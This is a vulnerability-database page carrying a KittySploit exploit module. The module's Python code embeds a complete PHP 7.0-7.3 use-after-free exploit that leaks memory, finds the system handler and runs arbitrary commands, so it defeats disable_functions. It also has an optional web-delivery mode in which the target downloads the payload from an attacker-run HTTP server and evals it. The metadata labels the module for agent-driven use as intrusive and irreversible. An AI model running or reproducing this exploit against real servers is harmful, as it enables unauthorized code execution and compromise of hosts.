Lucene search
+L

PHP 7.0-7.3 disable_functions bypass

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

PHP UAF vulnerability allows bypass of disable_functions.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer

class Module(Post, HTTPServer):

	__info__ = {
		"name": "PHP 7.0-7.3 disable_functions bypass",
		"description": "PHP 7.0-7.3 disable_functions bypass using UAF vulnerability",
        "author": "KittySploit Team",
		"arch": Arch.PHP,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}
	
	command = OptString("uname -a", "Command to execute", required=True)
	start_web_delivery = OptBool(False, "Start web delivery server", required=False)
	
	def run(self):
		# Use raw f-string to preserve PHP braces while allowing command substitution
		data = rf"""
pwn("COMMAND_PLACEHOLDER");

function pwn($cmd) {{
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {{
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {{
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }}
        return $address;
    }}

    function ptr2str($ptr, $m = 8) {{
        $out = "";
        for ($i=0; $i < $m; $i++) {{
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }}
        return $out;
    }}

    function write(&$str, $p, $v, $n = 8) {{
        $i = 0;
        for($i = 0; $i < $n; $i++) {{
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }}
    }}

    function leak($addr, $p = 0, $s = 8) {{
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) {{ $leak %= 2 << ($s * 8) - 1; }}
        return $leak;
    }}

    function parse_elf($base) {{
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {{
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {{ # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            }} else if($p_type == 1 && $p_flags == 5) {{ # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }}
        }}

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }}

    function get_basic_funcs($base, $elf) {{
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {{
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            }} else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            }} else continue;

            return $data_addr + $i * 8;
        }}
    }}

    function get_binary_base($binary_leak) {{
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {{
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {{ # ELF header
                return $addr;
            }}
        }}
    }}

    function get_system($basic_funcs) {{
        $addr = $basic_funcs;
        do {{
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {{ # system
                return leak($addr + 8);
            }}
            $addr += 0x20;
        }} while($f_entry != 0);
        return false;
    }}

    class ryat {{
        var $ryat;
        var $chtg;
        
        function __destruct()
        {{
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }}
    }}

    class Helper {{
        public $a, $b, $c, $d;
    }}

    if(stristr(PHP_OS, 'WIN')) {{
        die('This PoC is for *nix systems only.');
    }}

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{{i:0;i:1;i:1;a:1:{{i:0;O:4:"ryat":2:{{s:4:"ryat";R:3;s:4:"chtg";i:2;}}}}i:1;i:3;i:2;R:5;}}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) {{ }};

    if(strlen($abc) == 79 || strlen($abc) == 0) {{
        die("UAF failed");
    }}

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {{
        die("Couldn't determine binary base address");
    }}

    if(!($elf = parse_elf($base))) {{
        die("Couldn't parse ELF header");
    }}

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {{
        die("Couldn't get basic_functions address");
    }}

    if(!($zif_system = get_system($basic_funcs))) {{
        die("Couldn't get zif_system address");
    }}

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {{
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }}

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}}
"""
		# Replace command placeholder with actual command
		command_escaped = self.command.replace('"', '\\"')
		data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
		
		if self.start_web_delivery:
			print_info("Starting web delivery server...")
			host, port, httpd = self.web_delivery(data)
			print_success(f"Web delivery server started on http://{host}:{port}")
			print_info("Executing payload via web delivery...")
			print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
			self.web_shutdown(httpd)
		else:
			print_info(f"Executing command: {self.command}")
			print_info(self.cmd_execute(data))
		return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
6.2Medium risk
Vulners AI Score6.2
3